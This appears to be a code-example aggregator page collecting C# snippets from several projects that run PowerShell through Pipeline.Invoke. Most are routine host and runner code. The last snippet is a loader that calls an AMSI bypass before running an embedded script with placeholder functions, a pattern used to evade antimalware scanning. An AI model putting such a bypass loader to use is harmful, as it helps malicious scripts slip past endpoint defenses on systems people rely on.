コード例 #1
0
ファイル: Powershell.cs プロジェクト: neiz/Wish
 public string Execute(RunnerArgs args)
 {
     _pipeline = Runspace.CreatePipeline();
     _pipeline.Commands.AddScript(args.Script);
     _pipeline.Commands.Add("Out-String");
     Collection<PSObject> psObjects;
     try
     {
         psObjects = _pipeline.Invoke();
     } catch(Exception e)
     {
         return e.Message;
     }
     if(_pipeline.Error.Count > 0)
     {
         var firstOrDefault = _pipeline.Error.ReadToEnd().FirstOrDefault();
         if (firstOrDefault != null)
         {
             return firstOrDefault.ToString();
         }
     }
     if(_pipeline.Output.Count > 0)
     {
         var firstOrDefault = _pipeline.Output.ReadToEnd().FirstOrDefault();
         if (firstOrDefault != null)
         {
             return firstOrDefault.ToString();
         }
     }
     var sb = new StringBuilder();
     foreach (var psObject in psObjects)
     {
         sb.AppendLine(psObject.ToString());
     }
     return sb.ToString();
 }
コード例 #2
0
ファイル: Manager.cs プロジェクト: olho0001/CDW
 private void InitializePS(ref OperationResult Result, Pipeline pipeline)
 {
     Command initProcess = new Command("Import-Module");
     initProcess.Parameters.Add("Name", "ActiveDirectory");
     pipeline.Commands.Add(initProcess);
     try
     {
         pipeline.Invoke();
         Result.Status = Statics.Result.Success;
     }
     catch (Exception ex)
     {
         if (!ex.Message.Contains("Unable to find a default server with Active Directory Web Services"))
         {
             Result.Status = Statics.Result.Error;
             Result.Errors.Add(ex.Message);
         }
         else
         {
             Result.Status = Statics.Result.Success;
         }
     }
 }
コード例 #3
0
 public virtual System.Collections.ObjectModel.Collection <System.Management.Automation.PSObject> Invoke()
 {
     return(pipeline.Invoke());
 }
コード例 #4
0
ファイル: RunspaceDispatcher.cs プロジェクト: Newtopian/nuget
 private Collection<PSObject> InvokeCore(Pipeline pipeline, IEnumerable<object> inputs)
 {
     Collection<PSObject> output = null;
     WithLock(() =>
     {
         output = inputs == null ? pipeline.Invoke() : pipeline.Invoke(inputs);
     });
     return output;
 }
コード例 #5
0
ファイル: Runner.cs プロジェクト: apetrovskiy/STUPS
 public static System.Collections.ObjectModel.Collection<PSObject> RunPSScript(string scriptCode)
 {
     System.Collections.ObjectModel.Collection<PSObject> result = null;
     try {
         pipeline = testRunSpace.CreatePipeline();
         pipeline.Commands.AddScript(scriptCode);
         pipeline.StateChanged += new EventHandler<PipelineStateEventArgs>(pipeline_StateChanged);
         System.Collections.ObjectModel.Collection<PSObject> resultObject =
             pipeline.Invoke();
             //pipeline.InvokeAsync();
         //pipeline.Output.
         return resultObject;
     } 
     catch (Exception) {
         //throw(eRunspace);
         result = null;
     }
     return result;
 }
コード例 #6
0
ファイル: Runner.cs プロジェクト: apetrovskiy/STUPS
        // ------------------ Methods ----------------------------

        public static bool InitializeRunspace(string command)
        {
            bool result = false;
            try {
                testRunSpace = null;
                testRunSpace = RunspaceFactory.CreateRunspace();
                // testRunSpace.AvailabilityChanged += new EventHandler<RunspaceAvailabilityEventArgs>(runspace_AvailabilityChanged);
                testRunSpace.AvailabilityChanged += runspace_AvailabilityChanged;
                // testRunSpace.StateChanged += new EventHandler<RunspaceStateEventArgs>(runspace_StateChanged);
                testRunSpace.StateChanged += runspace_StateChanged;
                testRunSpace.Open();
                // 20140722
                // pipeline = null;
                
                pipeline = testRunSpace.CreatePipeline(command);
                // pipeline.StateChanged += new EventHandler<PipelineStateEventArgs>(pipeline_StateChanged);
                pipeline.StateChanged += pipeline_StateChanged;
                
//if (PipelineState.Running == pipeline.PipelineStateInfo.State) {
//    pipeline.Stop();
//}
                
                pipeline.Invoke();
                result = true;
            } 
            catch (Exception eInitRunspace) {
                // Console.WriteLine(eInitRunspace.Message);
                //result = false;
                throw (eInitRunspace);
            }
            return result;
        }
コード例 #7
0
ファイル: Runner.cs プロジェクト: apetrovskiy/STUPS
 public static System.Collections.ObjectModel.Collection<PSObject> RunPSCode(
     string codeSnippet,
     // 20140107
     // bool displayRunningCode)
     bool displayRunningCode,
     IEnumerable inputData)
 {
     // 20140107
     // System.Collections.ObjectModel.Collection<PSObject> result = null;
     System.Collections.ObjectModel.Collection<PSObject> resultObject;
     try {
         if (displayRunningCode)
             reportRunningCode(codeSnippet);
         pipeline = testRunSpace.CreatePipeline(codeSnippet);
         // pipeline.StateChanged += new EventHandler<PipelineStateEventArgs>(pipeline_StateChanged);
         pipeline.StateChanged += pipeline_StateChanged;
         // 20140107
         // System.Collections.ObjectModel.Collection<PSObject> resultObject =
         //     pipeline.Invoke();
         resultObject = null == inputData ? pipeline.Invoke() : pipeline.Invoke(inputData);
             //pipeline.InvokeAsync();
         //pipeline.Output.
         return resultObject;
     } 
     catch (Exception eRunspace) {
         throw(eRunspace); // 20120819 ON
         // 20140107
         // result = null;
         // resultObject = null;
     }
     // 20140107
     // return result;
     // 20141017
     // return resultObject;
 }
コード例 #8
0
ファイル: Executor.cs プロジェクト: nickchal/pash
		internal Collection<PSObject> ExecuteCommandHelper(Pipeline tempPipeline, out Exception exceptionThrown, Executor.ExecutionOptions options)
		{
			exceptionThrown = null;
			Collection<PSObject> pSObjects = null;
			if ((options & Executor.ExecutionOptions.AddOutputter) > Executor.ExecutionOptions.None)
			{
				if (tempPipeline.Commands.Count == 1)
				{
					tempPipeline.Commands[0].MergeMyResults(PipelineResultTypes.Error, PipelineResultTypes.Output);
				}
				Command command = new Command("Out-Default", false, new bool?(true), true);
				tempPipeline.Commands.Add(command);
			}
			lock (this.instanceStateLock)
			{
				this.pipeline = tempPipeline;
			}
			try
			{
				try
				{
					pSObjects = tempPipeline.Invoke();
				}
				catch (Exception exception1)
				{
					Exception exception = exception1;
					PowwaHost.CheckForSevereException(exception);
					exceptionThrown = exception;
				}
			}
			finally
			{
				this.parent.ResetProgress();
				this.Reset();
			}
			return pSObjects;
		}
コード例 #9
0
 // Dispatcher synchronization methods
 private Collection<PSObject> InvokeCore(Pipeline pipeline, IEnumerable<object> inputs)
 {
     lock (_dispatcherLock)
     {
         return inputs == null ? pipeline.Invoke() : pipeline.Invoke(inputs);
     }
 }
コード例 #10
0
ファイル: PowerShellControl.cs プロジェクト: japj/bidshelper
 public  System.Collections.ObjectModel.Collection<PSObject> RunPowerShell(Pipeline p)
 {
     System.Collections.ObjectModel.Collection<PSObject> output = null;
     //IDesignerHost designer = this as IDesignerHost;
     //EditorWindow editorWin = (EditorWindow)designer.GetService(typeof(Microsoft.DataWarehouse.ComponentModel.IComponentNavigator));
     if (this.EditWindow.InvokeRequired)
     {
         IAsyncResult r = EditWindow.BeginInvoke(new MethodInvoker(delegate() {output = p.Invoke(); }));
         r.AsyncWaitHandle.WaitOne();
     }
     else
     {
         //do the real work here
         output = p.Invoke();
     }
     return output;
 }
コード例 #11
0
ファイル: Executor.cs プロジェクト: dfinke/powershell
        internal Collection<PSObject> ExecuteCommandHelper(Pipeline tempPipeline, out Exception exceptionThrown, ExecutionOptions options)
        {
            Dbg.Assert(tempPipeline != null, "command should have a value");

            exceptionThrown = null;

            Collection<PSObject> results = null;

            if ((options & ExecutionOptions.AddOutputter) > 0)
            {
                if (tempPipeline.Commands.Count < 2)
                {
                    if (tempPipeline.Commands.Count == 1)
                    {
                        // Tell the script command to merge it's output and error streams.
                        tempPipeline.Commands[0].MergeMyResults(PipelineResultTypes.Error, PipelineResultTypes.Output);
                    }

                    // Add Out-Default to the pipeline to render.
                    tempPipeline.Commands.Add(GetOutDefaultCommand(endOfStatement: false));
                }
                else
                {
                    // For multiple commands/scripts we need to insert Out-Default at the end of each statement.
                    CommandCollection executeCommands = new CommandCollection();
                    foreach (var cmd in tempPipeline.Commands)
                    {
                        executeCommands.Add(cmd);

                        if (cmd.IsEndOfStatement)
                        {
                            // End of statement needs to pipe to Out-Default.
                            cmd.IsEndOfStatement = false;
                            executeCommands.Add(GetOutDefaultCommand(endOfStatement: true));
                        }
                    }

                    var lastCmd = executeCommands.Last();
                    if (!((lastCmd.CommandText != null) &&
                          (lastCmd.CommandText.Equals("Out-Default", StringComparison.OrdinalIgnoreCase)))
                       )
                    {
                        // Ensure pipeline output goes to Out-Default.
                        executeCommands.Add(GetOutDefaultCommand(endOfStatement: false));
                    }

                    tempPipeline.Commands.Clear();
                    foreach (var cmd in executeCommands)
                    {
                        tempPipeline.Commands.Add(cmd);
                    }
                }
            }

            Executor oldCurrent = CurrentExecutor;
            CurrentExecutor = this;

            lock (_instanceStateLock)
            {
                Dbg.Assert(_pipeline == null, "no other pipeline should exist");
                _pipeline = tempPipeline;
            }

            try
            {
                // blocks until all results are retrieved.
                results = tempPipeline.Invoke();
            }
            catch (Exception e)
            {
                ConsoleHost.CheckForSevereException(e);
                exceptionThrown = e;
            }
            finally
            {
                // Once we have the results, or an exception is thrown, we throw away the pipeline.

                _parent.ui.ResetProgress();
                CurrentExecutor = oldCurrent;
                Reset();
            }

            return results;
        }
コード例 #12
0
ファイル: FullHost.cs プロジェクト: b333z/Pash
        void executeHelper(string cmd, object input)
        {
            // Ignore empty command lines.
            if (String.IsNullOrEmpty(cmd))
                return;

            // Create the pipeline object and make it available
            // to the ctrl-C handle through the currentPipeline instance
            // variable.
            currentPipeline = myRunSpace.CreatePipeline();

            // Create a pipeline for this execution. Place the result in the currentPipeline
            // instance variable so that it is available to be stopped.
            try
            {
                currentPipeline.Commands.Add(cmd);

                // Now add the default outputter to the end of the pipe and indicate
                // that it should handle both output and errors from the previous
                // commands. This will result in the output being written using the PSHost
                // and PSHostUserInterface classes instead of returning objects to the hosting
                // application.
                currentPipeline.Commands.Add("out-default");
                currentPipeline.Commands[0].MergeMyResults(PipelineResultTypes.Error, PipelineResultTypes.Output);

                // If there was any input specified, pass it in, otherwise just
                // execute the pipeline.
                if (input != null)
                {
                    currentPipeline.Invoke(new object[] { input });
                }
                else
                {
                    currentPipeline.Invoke();
                }
            }
            finally
            {
                // Dispose of the pipeline line and set it to null, locked because currentPipeline
                // may be accessed by the ctrl-C handler.
                currentPipeline.Dispose();
                currentPipeline = null;
            }
        }
コード例 #13
0
ファイル: ScriptSession.cs プロジェクト: scjunkie/Console
        private List<object> ExecuteCommand(bool stringOutput, bool internalScript, Pipeline pipeline)
        {
            if (!internalScript)
            {
                pipeline.Commands[0].MergeMyResults(PipelineResultTypes.Error, PipelineResultTypes.Output);
            }

            if (stringOutput)
            {
                pipeline.Commands.Add("out-default");
            }
            pipeline.StateChanged += PipelineStateChanged;

            // execute the commands in the pipeline now
            Collection<PSObject> execResults = pipeline.Invoke();

            //Output = host.Output;

            List<object> results = execResults.Select(p => p.BaseObject).ToList();

            return results;
        }
コード例 #14
0
ファイル: Runner.cs プロジェクト: krukovskiy/STUPS
 //        public static bool IitializeRunspaceAsync(string command)
 //        {
 //            bool result = false;
 //            try {
 //                testRunSpace = null;
 //                testRunSpace = RunspaceFactory.CreateRunspace();
 //                testRunSpace.AvailabilityChanged += new EventHandler<RunspaceAvailabilityEventArgs>(runspace_AvailabilityChanged);
 //                testRunSpace.StateChanged += new EventHandler<RunspaceStateEventArgs>(runspace_StateChanged);
 //                testRunSpace.OpenAsync();
 //                //testRunSpace.Open();
 //                pipeline =
 //                    testRunSpace.CreatePipeline(command);
 //                pipeline.StateChanged += new EventHandler<PipelineStateEventArgs>(pipeline_StateChanged);
 //                pipeline.InvokeAsync();
 //                result = true;
 //            }
 //            catch (Exception eInitRunspace) {
 //                Console.WriteLine(eInitRunspace.Message);
 //                result = false;
 //            }
 //            return result;
 //        }
 public static System.Collections.ObjectModel.Collection<PSObject> RunPSCode(
     string codeSnippet,
     bool displayRunningCode)
 {
     System.Collections.ObjectModel.Collection<PSObject> result = null;
     try {
         if (displayRunningCode) {
             reportRunningCode(codeSnippet);
         }
         pipeline =
             testRunSpace.CreatePipeline(codeSnippet);
         pipeline.StateChanged += new EventHandler<PipelineStateEventArgs>(pipeline_StateChanged);
         System.Collections.ObjectModel.Collection<PSObject> resultObject =
             pipeline.Invoke();
             //pipeline.InvokeAsync();
         //pipeline.Output.
         return resultObject;
     }
     catch (Exception eRunspace) {
         throw(eRunspace); // 20120819 ON
         result = null;
     }
     return result;
 }
コード例 #15
0
ファイル: ScriptSession.cs プロジェクト: ostat/Console
        private List<object> ExecuteCommand(bool stringOutput, bool internalScript, Pipeline pipeline,
            bool marshallResults = true)
        {
            if (!internalScript)
            {
                pipeline.Commands[0].MergeMyResults(PipelineResultTypes.Error, PipelineResultTypes.Output);
            }

            if (stringOutput)
            {
                pipeline.Commands.Add("out-default");
            }
            pipeline.StateChanged += PipelineStateChanged;

            // execute the commands in the pipeline now
            var execResults = pipeline.Invoke();

            if (execResults != null && execResults.Any())
            {
                foreach (var record in execResults.Select(p => p.BaseObject).OfType<ErrorRecord>().Select(result => result))
                {
                    Log.Error(record + record.InvocationInfo.PositionMessage, this);
                }
            }

            //Output = host.Output;
            return marshallResults
                ? execResults.Select(p => p.BaseObject).ToList()
                : execResults.Cast<object>().ToList();
        }
コード例 #16
0
        public static void Main()
        {
            const int SW_HIDE = 0;
            const int SW_SHOW = 5;

            var handle = Win32.GetConsoleWindow();

            // Show Window
            Win32.ShowWindow(handle, SW_SHOW);

            var amsi = new Amsi();

            amsi.Bypass();
            string        commandArrayString = "FIXME_FUNCTIONS";
            List <string> commandArray       = new List <string>(commandArrayString.Split(','));

            System.Management.Automation.Runspaces.Runspace runspace = System.Management.Automation.Runspaces.RunspaceFactory.CreateRunspace();
            runspace.Open();

            System.Management.Automation.Runspaces.Pipeline pipeline = runspace.CreatePipeline();
            pipeline.Commands.AddScript(ApplicationData.runApp());
            foreach (var command in commandArray)
            {
                pipeline.Commands.AddScript(command);
            }

            runspace.SessionStateProxy.SetVariable("FormatEnumerationLimit", -1);
            pipeline.Commands.Add("Out-String");

            System.Collections.ObjectModel.Collection <System.Management.Automation.PSObject> results = pipeline.Invoke();
            runspace.Close();
            System.Text.StringBuilder stringBuilder = new System.Text.StringBuilder();
            foreach (System.Management.Automation.PSObject obj in results)
            {
                stringBuilder.AppendLine(obj.ToString());
            }
            System.Console.WriteLine(stringBuilder.ToString());
        }